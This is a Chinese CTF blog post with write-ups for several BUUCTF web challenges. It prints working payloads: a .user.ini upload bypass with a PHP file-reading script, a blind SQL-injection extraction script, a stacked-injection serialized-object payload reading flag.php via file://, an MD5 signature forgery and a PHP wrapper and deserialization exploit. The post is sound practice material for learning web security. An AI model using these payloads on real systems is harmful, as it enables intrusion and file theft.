目录
区块链的内容先告一段落,好久没去 buu 刷题了。buu上有的题目太简单,单开写一篇文章不太合适,所以专门开了个合集简单记录一下。
[SUCTF 2019]CheckIn
文件上传,检测头用 GIF89 绕过,.htaccess 在有脏数据情况下不解析,用 .user.ini (不用重启 apache 也能生效)写入图片马并引用。payload:
// .user.ini GIF89a auto_prepend_file=a.png auto_append_file=a.png // 1.png <script language="php">echo file_get_contents("/flag");</script>
[CISCN2019 华北赛区 Day2 Web1]Hack World
fuzz 了一下,符号基本都被 ban 了,但是 / 和 ^ 可以用,1 / 1 和 1 ^ 0 会返回正常结果,空格过滤可以用 %0a 之泪的绕过,上exp:
from requests import * from string import ctfset alpha = ctfset s = session() res = "" u = "http://e100b868-2059-4f20-bdba-41f6a13b012c.node3.buuoj.cn/" for x in range(50): for a in alpha: payload = "id=2/(if((ascii(substr((select\x0aflag\x0afrom\x0aflag),%d,1))=%d),1,2))" % (x, ord(a)) data = { 'id' : payload } r = s.post(u, data) if 'glzjin' not in r.text: res = res + a print(a) break print(res)
[网鼎杯 2018]Fakebook
注册,登录之后 view.php 有注入,用上一题的脚本还能跑,注出来的信息:
# fakebook 数据库 # users 表 # no username passwd data USER CURRENT_CONNECTIONS 列
用户有个 data 很有意思,扫一下网页发现有源码泄漏,下载是个类的定义。
<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } }
然后就到了这个题比较迷的地方了,类里虽然有检查 url 的函数,但是在反序列化时没有调用,给了我们用 file 协议读文件的机会。但是在注入点 union select 又被 ban 了,想到用 update 插入数据,再正常访问 view.php。(这个出题人丧心病狂,用 sha512 来哈希密码,512 位注的想死=-=)不知道是什么原因本地测试成功的 payload 无法执行,希望看到这篇博客的大佬们能指点一下,payload:
view.php?no=1;insert%20into%20users%20values(0,%27a%27, %274dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a%27 ,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:1:%221%22;s:3:%22age%22 ;i:1;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27,%270%27,%270%27)%23
后来看了看 wp 发现可以用 /**/ 绕 union select,把 payload 换一下就行。
[De1CTF 2019]SSRF Me
题目说是 ssrf,实际上是代码审计。首先是看看拿 flag 的地方:
def Exec(self): result = {} result['code'] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w') resp = scan(self.param) if (resp == "Connection Timeout"): result['data'] = resp else: print resp tmpfile.write(resp) tmpfile.close() result['code'] = 200 if "read" in self.action: f = open("./%s/result.txt" % self.sandbox, 'r') result['code'] = 200 result['data'] = f.read() if result['code'] == 500: result['data'] = "Action Error" else: result['code'] = 500 result['msg'] = "Sign Error" return result
5 和 15 行用了 in 判断方法而没用 ==,其次判断分支没用用 if / elif 方式,而是全都用了 if,加上 in 这个点,很可能需要我们两块代码同时执行。于是找看看 action 能不能构造成类似 readscan 的形式。这个程序中所有的操作都需要签名验证,那再看看签名算法:
@app.route("/geneSign", methods=['GET', 'POST']) def geneSign(): param = urllib.unquote(request.args.get("param", "")) action = "scan" return getSign(action, param) def getSign(action, param): return hashlib.md5(secert_key + param + action).hexdigest()
直接把三个参数拼接之后 md5,其中 action 不可控,似乎没法构造上述 payload。但是代码在哈希时没有分隔符,也就是说可以让 param 多写一个 read 伪造签名。访问 /geneSign?param=flag.txtread,得到签名 ecae660ac44181857e853e72d64ec34c,再访问 De1ta 按规则填数据即可。

[ZJCTF 2019]NiZhuanSiWei
伪协议的简单题,好像是浙江省赛的题目,怪不得大树哥哥要吐槽 23333,源码:
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
data 协议绕第 5 行的 if,11 行 include 可以 filter 读 useless.php 源码:
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } }
随便构造一下反序列化就行,别忘了最后触发反序列化要 include useless.php,payload:
http://8e6d2ab4-6a3d-4d0d-ae5f-cff26883b0fc.node3.buuoj.cn/? text=data:text/plain,welcome%20to%20the%20zjctf&password=O:4:%22Flag%22:1: {s:4:%22file%22;s:8:%22flag.php%22;}&file=useless.php